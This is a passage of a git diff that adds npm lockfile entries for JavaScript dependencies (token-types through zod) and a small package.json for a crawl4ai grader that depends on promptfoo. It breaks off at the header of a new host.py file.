"node_modules/token-types": { + "version": "6.1.2", + "resolved": "https://registry.npmjs.org/token-types/-/token-types-6.1.2.tgz", + "integrity": "sha512-dRXchy+C0IgK8WPC6xvCHFRIWYUbqqdEIKPaKo/AcTUNzwLTK6AH7RjdLWsEZcAN/TBdtfUw3PYEgPr5VPr6ww==", + "license": "MIT", + "optional": true, + "dependencies": { + "@borewit/text-codec": "^0.2.1", + "@tokenizer/token": "^0.3.0", + "ieee754": "^1.2.1" + }, + "engines": { + "node": ">=14.16" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/Borewit" + } + }, + "node_modules/tokenx": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/tokenx/-/tokenx-1.6.0.tgz", + "integrity": "sha512-CKTjk345ajvBAUp5xUI9a5KKN0zU0lBueVHQbCskH1Hp6WkUKsPW2qGCYNs0pxNyfzxfo+IIjdt2W4sMbw/qBw==", + "license": "MIT", + "optional": true + }, + "node_modules/tough-cookie": { + "version": "4.1.4", + "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-4.1.4.tgz", + "integrity": "sha512-Loo5UUvLD9ScZ6jh8beX1T6sO1w2/MpCRpEP7V280GKMVUQ0Jzar2U3UJPsrdbziLEMMhu3Ujnq//rhiFuIeag==", + "license": "BSD-3-Clause", + "optional": true, + "dependencies": { + "psl": "^1.1.33", + "punycode": "^2.1.1", + "universalify": "^0.2.0", + "url-parse": "^1.5.3" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/tough-cookie/node_modules/universalify": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.2.0.tgz", + "integrity": "sha512-CJ1QgKmNg3CwvAv/kOFmtnEN05f0D/cn9QntgNOQlQF9dgvVTHj3t+8JPdjqawCHk7V/KA+fbUqzZ9XWhcqPUg==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">= 4.0.0" + } + }, + "node_modules/tr46": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/tr46/-/tr46-5.1.1.tgz", + "integrity": "sha512-hdF5ZgjTqgAntKkklYw0R03MG2x/bSzTtkxmIRw/sTNV8YXsCJ1tfLAX23lhxhHJlEf3CRCOCGGWw3vI3GaSPw==", + "license": "MIT", + "optional": true, + "dependencies": { + "punycode": "^2.3.1" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/triple-beam": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/triple-beam/-/triple-beam-1.4.1.tgz", + "integrity": "sha512-aZbgViZrg1QNcG+LULa7nhZpJTZSLm/mXnHXnbAbjmN5aSa0y7V+wvv6+4WaBtpISJzThKy+PIPxc1Nq1EJ9mg==", + "license": "MIT", + "engines": { + "node": ">= 14.0.0" + } + }, + "node_modules/ts-algebra": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ts-algebra/-/ts-algebra-2.0.0.tgz", + "integrity": "sha512-FPAhNPFMrkwz76P7cdjdmiShwMynZYN6SgOujD1urY4oNm80Ou9oMdmbR45LotcKOXoy7wSmHkRFE6Mxbrhefw==", + "license": "MIT" + }, + "node_modules/tslib": { + "version": "2.8.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz", + "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==", + "license": "0BSD" + }, + "node_modules/tsx": { + "version": "4.23.15", + "resolved": "https://registry.npmjs.org/tsx/-/tsx-4.23.15.tgz", + "integrity": "sha512-Yiex1Ovn8z2xPpOWckIiysV1SSyRMY9BkLF++q0yKiDxCqRhosKfMg3janKkiLBwZ5c/YryloKwGZcrEmtwxKw==", + "license": "MIT", + "dependencies": { + "esbuild": "~0.28.0" + }, + "bin": { + "tsx": "dist/cli.mjs" + }, + "engines": { + "node": ">=18.0.0" + }, + "optionalDependencies": { + "fsevents": "~2.3.3" + } + }, + "node_modules/type-fest": { + "version": "5.10.0", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-5.10.0.tgz", + "integrity": "sha512-NoSdpq/WEiAg5sjmBkmV/hfxv6HJH4NqPNrqjtSO5CwRmpsDfaf4begxW34KdJykH/l1yHtwBWQkCRdoXO8mPA==", + "license": "(MIT OR CC0-1.0)", + "optional": true, + "dependencies": { + "tagged-tag": "^1.0.0" + }, + "engines": { + "node": ">=20" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/type-is": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/type-is/-/type-is-2.1.0.tgz", + "integrity": "sha512-faYHw0anBbc/kWF3zFTEnxSFOAGUX9GFbOBthvDdLsIlEoWOFOtS0zgCiQYwIskL9iGXZL3kAXD8OoZ4GmMATA==", + "license": "MIT", + "dependencies": { + "content-type": "^2.0.0", + "media-typer": "^1.1.0", + "mime-types": "^3.0.0" + }, + "engines": { + "node": ">= 18" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/type-is/node_modules/content-type": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/content-type/-/content-type-2.1.0.tgz", + "integrity": "sha512-mj7UPXE0jaqaOsukNZRUEfEi2AcL7C/vwmwcHV0O97eO1E1pxBZuyjlZrx5seTaNBg1U6+o35wpa35Qfcc+7ag==", + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/typed-function": { + "version": "4.2.2", + "resolved": "https://registry.npmjs.org/typed-function/-/typed-function-4.2.2.tgz", + "integrity": "sha512-VwaXim9Gp1bngi/q3do8hgttYn2uC3MoT/gfuMWylnj1IeZBUAyPddHZlo1K05BDoj8DYPpMdiHqH1dDYdJf2A==", + "license": "MIT", + "engines": { + "node": ">= 18" + } + }, + "node_modules/uint8array-extras": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/uint8array-extras/-/uint8array-extras-1.6.0.tgz", + "integrity": "sha512-8iAasVS4wUx0gPLjH8Xtz2PeDzTSiy8QiLGu2DT3X5GU+egFEQhpnbtkehbAwjvDcxIERmCYcysiODFmE3Ud0Q==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/underscore": { + "version": "1.13.8", + "resolved": "https://registry.npmjs.org/underscore/-/underscore-1.13.8.tgz", + "integrity": "sha512-DXtD3ZtEQzc7M8m4cXotyHR+FAS18C64asBYY5vqZexfYryNNnDc02W4hKg3rdQuqOYas1jkseX0+nZXjTXnvQ==", + "license": "MIT", + "optional": true + }, + "node_modules/undici": { + "version": "7.30.0", + "resolved": "https://registry.npmjs.org/undici/-/undici-7.30.0.tgz", + "integrity": "sha512-dkrQXeHSaoamnItlYbmzG0wFYrM0ZwDxCIg0A7aKjTyyhh9svRzCNFEzV+Vm05/yehjCzjDZ31KXfGEjYSztDQ==", + "license": "MIT", + "engines": { + "node": ">=20.18.1" + } + }, + "node_modules/undici-types": { + "version": "8.9.0", + "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-8.9.0.tgz", + "integrity": "sha512-KTDyRTYX8sWmKXAikPHHSyc63CRPETMctyjKFupcC6OBLXT3xsN0e9aF7m+mIXutFWpUXuedtowG7iLOzp0kQg==", + "license": "MIT" + }, + "node_modules/unicorn-magic": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/unicorn-magic/-/unicorn-magic-0.3.0.tgz", + "integrity": "sha512-+QBBXBCvifc56fsbuxZQ6Sic3wqqc3WWaqxs58gvJrcOuN83HGTCwz3oS5phzU9LthRNE9VrJCFCLUgHeeFnfA==", + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/universal-user-agent": { + "version": "7.0.3", + "resolved": "https://registry.npmjs.org/universal-user-agent/-/universal-user-agent-7.0.3.tgz", + "integrity": "sha512-TmnEAEAsBJVZM/AADELsK76llnwcf9vMKuPz8JflO1frO8Lchitr0fNaN9d+Ap0BjKtqWqd/J17qeDnXh8CL2A==", + "license": "ISC", + "optional": true + }, + "node_modules/universalify": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.1.tgz", + "integrity": "sha512-gptHNQghINnc/vTGIk0SOFGFNXw7JVrlRUtConJRlvaw6DuX0wO5Jeko9sWrMBhh+PsYAZ7oXAiOnf/UKogyiw==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">= 10.0.0" + } + }, + "node_modules/unpipe": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz", + "integrity": "sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/unzipper-esm": { + "version": "0.13.3", + "resolved": "https://registry.npmjs.org/unzipper-esm/-/unzipper-esm-0.13.3.tgz", + "integrity": "sha512-LUO6VZ6fCzkDbdMev0/fOhoIeVGKaOkTIOoYxVLE0SQjfvmAHK+oywl7lfhloSZIsdGJ25mJ18Mtd9CyTASjrA==", + "license": "MIT", + "optional": true, + "dependencies": { + "graceful-fs": "^4.2.2", + "node-int64": "^0.4.0" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/url-parse": { + "version": "1.5.10", + "resolved": "https://registry.npmjs.org/url-parse/-/url-parse-1.5.10.tgz", + "integrity": "sha512-WypcfiRhfeUP9vvF0j6rw0J3hrWrw6iZv3+22h6iRMJ/8z1Tj6XfLP4DsUix5MhMPnXpiHDoKyoZ/bdCkwBCiQ==", + "license": "MIT", + "optional": true, + "dependencies": { + "querystringify": "^2.1.1", + "requires-port": "^1.0.0" + } + }, + "node_modules/url-template": { + "version": "2.0.8", + "resolved": "https://registry.npmjs.org/url-template/-/url-template-2.0.8.tgz", + "integrity": "sha512-XdVKMF4SJ0nP/O7XIPB0JwAEuT9lDIYnNsK8yGVe43y0AWoKeJNdv3ZNWh7ksJ6KqQFjOO6ox/VEitLnaVNufw==", + "license": "BSD", + "optional": true + }, + "node_modules/util-deprecate": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", + "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==", + "license": "MIT" + }, + "node_modules/uuid": { + "version": "13.0.2", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-13.0.2.tgz", + "integrity": "sha512-vzi9uRZ926x4XV73S/4qQaTwPXM2JBj6/6lI/byHH1jOpCzb0zDbfytgA9LcN/hzb2l7WQSQnxITOVx5un/wGw==", + "funding": [ + "https://github.com/sponsors/broofa", + "https://github.com/sponsors/ctavan" + ], + "license": "MIT", + "optional": true, + "bin": { + "uuid": "dist-node/bin/uuid" + } + }, + "node_modules/vary": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz", + "integrity": "sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/version-range": { + "version": "4.15.0", + "resolved": "https://registry.npmjs.org/version-range/-/version-range-4.15.0.tgz", + "integrity": "sha512-Ck0EJbAGxHwprkzFO966t4/5QkRuzh+/I1RxhLgUKKwEn+Cd8NwM60mE3AqBZg5gYODoXW0EFsQvbZjRlvdqbg==", + "license": "Artistic-2.0", + "engines": { + "node": ">=4" + }, + "funding": { + "url": "https://bevry.me/fund" + } + }, + "node_modules/web-streams-polyfill": { + "version": "3.3.3", + "resolved": "https://registry.npmjs.org/web-streams-polyfill/-/web-streams-polyfill-3.3.3.tgz", + "integrity": "sha512-d2JWLCivmZYTSIoge9MsgFCZrt571BikcWGYkjC1khllbTeDlGqZ2D8vD8E/lJa8WGWbb7Plm8/XJYV7IJHZZw==", + "license": "MIT", + "engines": { + "node": ">= 8" + } + }, + "node_modules/webidl-conversions": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-7.0.0.tgz", + "integrity": "sha512-VwddBukDzu71offAQR975unBIGqfKZpM+8ZX6ySk8nYhVoo5CYaZyzt3YBvYtRtO+aoGlqxPg/B87NGVZ/fu6g==", + "license": "BSD-2-Clause", + "optional": true, + "engines": { + "node": ">=12" + } + }, + "node_modules/whatwg-url": { + "version": "14.2.0", + "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-14.2.0.tgz", + "integrity": "sha512-De72GdQZzNTUBBChsXueQUnPKDkg/5A5zp7pFDuQAj5UFoENpiACU0wlCvzpAGnTkj++ihpKwKyYewn/XNUbKw==", + "license": "MIT", + "optional": true, + "dependencies": { + "tr46": "^5.1.0", + "webidl-conversions": "^7.0.0" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/which": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", + "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", + "license": "ISC", + "dependencies": { + "isexe": "^2.0.0" + }, + "bin": { + "node-which": "bin/node-which" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/which-command": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/which-command/-/which-command-0.1.0.tgz", + "integrity": "sha512-XZyoF5/5hZtXitIwzrU4NKK+Wtbb9aB9CezUEw2Q0wlYK8NUYQxC1rRXgNueYLtBAJwXIb+/tFVk4dozciNJMA==", + "license": "MIT", + "bin": { + "which-command": "cli.js" + }, + "engines": { + "node": ">=22" + }, + "funding": { + "url": "https://github.com/sindresorhus/which-command?sponsor=1" + } + }, + "node_modules/widest-line": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/widest-line/-/widest-line-6.0.0.tgz", + "integrity": "sha512-U89AsyEeAsyoF0zVJBkG9zBgekjgjK7yk9sje3F4IQpXBJ10TF6ByLlIfjMhcmHMJgHZI4KHt4rdNfktzxIAMA==", + "license": "MIT", + "optional": true, + "dependencies": { + "string-width": "^8.1.0" + }, + "engines": { + "node": ">=20" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/widest-line/node_modules/ansi-regex": { + "version": "6.4.0", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.4.0.tgz", + "integrity": "sha512-KzTVk2tCWAHtYrvvvaP8bJKJq2pVinhLcGEQdtLIYPbmNGNyYe8QwNaTUYQp2J7/vIsUKt5QCqAfUkYyG9DkOw==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/ansi-regex?sponsor=1" + } + }, + "node_modules/widest-line/node_modules/string-width": { + "version": "8.3.0", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-8.3.0.tgz", + "integrity": "sha512-ZbmZM0JCihQN91dWnxoipT2KOEyHqEyfRXUyjuRhW8b/xnqPDoq4gWEVApTVa9db2wN8mmoikgFBbjh71+cGeQ==", + "license": "MIT", + "optional": true, + "dependencies": { + "get-east-asian-width": "^1.5.0", + "strip-ansi": "^7.1.2" + }, + "engines": { + "node": ">=20" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/widest-line/node_modules/strip-ansi": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.2.0.tgz", + "integrity": "sha512-yDPMNjp4WyfYBkHnjIRLfca1i6KMyGCtsVgoKe/z1+6vukgaENdgGBZt+ZmKPc4gavvEZ5OgHfHdrazhgNyG7w==", + "license": "MIT", + "optional": true, + "dependencies": { + "ansi-regex": "^6.2.2" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/strip-ansi?sponsor=1" + } + }, + "node_modules/winston": { + "version": "3.19.0", + "resolved": "https://registry.npmjs.org/winston/-/winston-3.19.0.tgz", + "integrity": "sha512-LZNJgPzfKR+/J3cHkxcpHKpKKvGfDZVPS4hfJCc4cCG0CgYzvlD6yE/S3CIL/Yt91ak327YCpiF/0MyeZHEHKA==", + "license": "MIT", + "dependencies": { + "@colors/colors": "^1.6.0", + "@dabh/diagnostics": "^2.0.8", + "async": "^3.2.3", + "is-stream": "^2.0.0", + "logform": "^2.7.0", + "one-time": "^1.0.0", + "readable-stream": "^3.4.0", + "safe-stable-stringify": "^2.3.1", + "stack-trace": "0.0.x", + "triple-beam": "^1.3.0", + "winston-transport": "^4.9.0" + }, + "engines": { + "node": ">= 12.0.0" + } + }, + "node_modules/winston-transport": { + "version": "4.9.0", + "resolved": "https://registry.npmjs.org/winston-transport/-/winston-transport-4.9.0.tgz", + "integrity": "sha512-8drMJ4rkgaPo1Me4zD/3WLfI/zPdA9o2IipKODunnGDcuqbHwjsbB79ylv04LCGGzU0xQ6vTznOMpQGaLhhm6A==", + "license": "MIT", + "dependencies": { + "logform": "^2.7.0", + "readable-stream": "^3.6.2", + "triple-beam": "^1.3.0" + }, + "engines": { + "node": ">= 12.0.0" + } + }, + "node_modules/winston/node_modules/@colors/colors": { + "version": "1.6.1", + "resolved": "https://registry.npmjs.org/@colors/colors/-/colors-1.6.1.tgz", + "integrity": "sha512-dTmUJzXSuayBK+hZydEaXd2mhx61qWQwkwaBBY6LyEOVx/L9aQU5ac8eFNEsd9nrD1+zb9zvDCphLSe8g1F4Qw==", + "license": "MIT", + "engines": { + "node": ">=0.1.90" + } + }, + "node_modules/winston/node_modules/is-stream": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-2.0.1.tgz", + "integrity": "sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg==", + "license": "MIT", + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/wordnet-db": { + "version": "3.1.14", + "resolved": "https://registry.npmjs.org/wordnet-db/-/wordnet-db-3.1.14.tgz", + "integrity": "sha512-zVyFsvE+mq9MCmwXUWHIcpfbrHHClZWZiVOzKSxNJruIcFn2RbY55zkhiAMMxM8zCVSmtNiViq8FsAZSFpMYag==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=0.6.0" + } + }, + "node_modules/worker-f": { + "version": "0.1.20", + "resolved": "https://registry.npmjs.org/worker-f/-/worker-f-0.1.20.tgz", + "integrity": "sha512-7z5K5z4x++FykhpDTfriT/dOu7CmSap9BBv38DVFU3CD38obopq+DoFH75yBV3butpGm+OeqR9BKdSvYJSnUfQ==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=12" + } + }, + "node_modules/wrap-ansi": { + "version": "10.0.2", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-10.0.2.tgz", + "integrity": "sha512-6OLRNZqRntVGBm26ghZ5eZhCuWWyOkRCSn8XsOIuq5stpCE/tjLbdozd93naILZig0lmD8ANfRwnhn0DLeXGlg==", + "license": "MIT", + "optional": true, + "dependencies": { + "ansi-styles": "^6.2.3", + "string-width": "^8.2.0" + }, + "engines": { + "node": ">=20" + }, + "funding": { + "url": "https://github.com/chalk/wrap-ansi?sponsor=1" + } + }, + "node_modules/wrap-ansi-cjs": { + "name": "wrap-ansi", + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", + "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", + "license": "MIT", + "optional": true, + "dependencies": { + "ansi-styles": "^4.0.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/wrap-ansi?sponsor=1" + } + }, + "node_modules/wrap-ansi-cjs/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "license": "MIT", + "optional": true, + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/wrap-ansi-cjs/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "license": "MIT", + "optional": true, + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/wrap-ansi-cjs/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "license": "MIT", + "optional": true + }, + "node_modules/wrap-ansi/node_modules/ansi-regex": { + "version": "6.4.0", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.4.0.tgz", + "integrity": "sha512-KzTVk2tCWAHtYrvvvaP8bJKJq2pVinhLcGEQdtLIYPbmNGNyYe8QwNaTUYQp2J7/vIsUKt5QCqAfUkYyG9DkOw==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/ansi-regex?sponsor=1" + } + }, + "node_modules/wrap-ansi/node_modules/string-width": { + "version": "8.3.0", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-8.3.0.tgz", + "integrity": "sha512-ZbmZM0JCihQN91dWnxoipT2KOEyHqEyfRXUyjuRhW8b/xnqPDoq4gWEVApTVa9db2wN8mmoikgFBbjh71+cGeQ==", + "license": "MIT", + "optional": true, + "dependencies": { + "get-east-asian-width": "^1.5.0", + "strip-ansi": "^7.1.2" + }, + "engines": { + "node": ">=20" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/wrap-ansi/node_modules/strip-ansi": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.2.0.tgz", + "integrity": "sha512-yDPMNjp4WyfYBkHnjIRLfca1i6KMyGCtsVgoKe/z1+6vukgaENdgGBZt+ZmKPc4gavvEZ5OgHfHdrazhgNyG7w==", + "license": "MIT", + "optional": true, + "dependencies": { + "ansi-regex": "^6.2.2" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/strip-ansi?sponsor=1" + } + }, + "node_modules/wrappy": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", + "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==", + "license": "ISC" + }, + "node_modules/ws": { + "version": "8.22.0", + "resolved": "https://registry.npmjs.org/ws/-/ws-8.22.0.tgz", + "integrity": "sha512-Ydggc987+RO0AnWtZ/7Wq9FtNvcrL1b/RO0ud9mWjUPgDrsAAwQSF51sm2hm1XofbU/4jkpGEsLFsZZxU+1DOg==", + "license": "MIT", + "engines": { + "node": ">=10.0.0" + }, + "peerDependencies": { + "bufferutil": "^4.0.1", + "utf-8-validate": ">=5.0.2" + }, + "peerDependenciesMeta": { + "bufferutil": { + "optional": true + }, + "utf-8-validate": { + "optional": true + } + } + }, + "node_modules/wsl-utils": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/wsl-utils/-/wsl-utils-0.1.0.tgz", + "integrity": "sha512-h3Fbisa2nKGPxCpm89Hk33lBLsnaGBvctQopaBSOW/uIs6FTe1ATyAnKFJrzVs9vpGdsTe73WF3V4lIsk4Gacw==", + "license": "MIT", + "optional": true, + "dependencies": { + "is-wsl": "^3.1.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/xml-naming": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/xml-naming/-/xml-naming-0.3.0.tgz", + "integrity": "sha512-ghig2TBE/H11aOVgmahA3MhimvkBr6JIYknH/Dhdk10nXwdbIqBJsbfMxpvFPG8bAw77gN29aQWvKpmVoPlvPQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/NaturalIntelligence" + } + ], + "license": "MIT", + "engines": { + "node": ">=16.0.0" + } + }, + "node_modules/xmlchars": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/xmlchars/-/xmlchars-2.2.0.tgz", + "integrity": "sha512-JZnDKK8B0RCDw84FNdDAIpZK+JuJw+s7Lz8nksI7SIuU3UXJJslUthsi+uWBUYOwPFwW7W7PRLRfUKpxjtjFCw==", + "license": "MIT" + }, + "node_modules/xmlhttprequest-ssl": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/xmlhttprequest-ssl/-/xmlhttprequest-ssl-2.1.2.tgz", + "integrity": "sha512-TEU+nJVUUnA4CYJFLvK5X9AOeH4KvDvhIfm0vV1GaQRtchnG0hgK5p8hw/xjv8cunWYCsiPCSDzObPyhEwq3KQ==", + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/xtend": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/xtend/-/xtend-4.0.2.tgz", + "integrity": "sha512-LKYU1iAXJXUgAXn9URjiu+MWhyUXHsvfp7mcuYm9dSUKK0/CjtrUwFAxD82/mCWbtLsGjFIad0wIsod4zrTAEQ==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=0.4" + } + }, + "node_modules/yaml": { + "version": "2.9.1", + "resolved": "https://registry.npmjs.org/yaml/-/yaml-2.9.1.tgz", + "integrity": "sha512-3NxN8+78OdzbT7C/WjGsyfPAtJaN3FNDsWxv7Y7mcDsT/oOmgW8BpyQQFFBnvZE3j9Y2Sdz1ULFLezL7Eb2yFw==", + "license": "ISC", + "optional": true, + "bin": { + "yaml": "bin.mjs" + }, + "engines": { + "node": ">= 14.6" + }, + "funding": { + "url": "https://github.com/sponsors/eemeli" + } + }, + "node_modules/yauzl": { + "version": "3.4.0", + "resolved": "https://registry.npmjs.org/yauzl/-/yauzl-3.4.0.tgz", + "integrity": "sha512-jIH9yLR9wqr0wOS0TpBvo/g/2UgZH5qePVbjgRliiF0BYvOZyaBknKsF+x9Iht0O6sqgnB93rCICdOZFecJuDw==", + "license": "MIT", + "optional": true, + "dependencies": { + "pend": "~1.2.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/yoctocolors": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/yoctocolors/-/yoctocolors-2.2.0.tgz", + "integrity": "sha512-xYqdZFUK/VYazNl/oCDYN+3WloWQwMfZxBoiNt6qNyk+xfOdi598muWE42rNZFp1kNOiqW936q5RhUdnpqElSg==", + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/yoga-layout": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/yoga-layout/-/yoga-layout-3.2.1.tgz", + "integrity": "sha512-0LPOt3AxKqMdFBZA3HBAt/t/8vIKq7VaQYbuA8WxCgung+p9TVyKRYdpvCb80HcdTN2NkbIKbhNwKUfm3tQywQ==", + "license": "MIT", + "optional": true + }, + "node_modules/zod": { + "version": "4.6.5", + "resolved": "https://registry.npmjs.org/zod/-/zod-4.6.5.tgz", + "integrity": "sha512-v5l/aFXZQeai4awLbOpSoHecE9UiMrnfx75tEXLjNonXVARxQ5mOeipTjROUchszUNCqnE+hqAMujRsRHsut2Q==", + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/colinhacks" + } + }, + "node_modules/zod-to-json-schema": { + "version": "3.25.2", + "resolved": "https://registry.npmjs.org/zod-to-json-schema/-/zod-to-json-schema-3.25.2.tgz", + "integrity": "sha512-O/PgfnpT1xKSDeQYSCfRI5Gy3hPf91mKVDuYLUHZJMiDFptvP41MSnWofm8dnCm0256ZNfZIM7DSzuSMAFnjHA==", + "license": "ISC", + "optional": true, + "peerDependencies": { + "zod": "^3.25.28 || ^4" + } + } + } +} diff --git a/blueprints/runtime-workers/crawl4ai/grader/package.json b/blueprints/runtime-workers/crawl4ai/grader/package.json new file mode 100644 index 000000000..b704a6339 --- /dev/null +++ b/blueprints/runtime-workers/crawl4ai/grader/package.json @@ -0,0 +1,13 @@ +{ + "name": "runtime-worker-crawl4ai-grader", + "version": "1.0.0", + "private": true, + "dependencies": { + "promptfoo": "0.123.1" + }, + "overrides": { + "get-uri@8.0.1": { + "basic-ftp": "6.2.1" + } + } +} diff --git a/blueprints/runtime-workers/crawl4ai/host.py b/blueprints/runtime-workers/crawl4ai/host.py new file mode 100644 index 000000000..1544cc45e --- /dev/null +++ 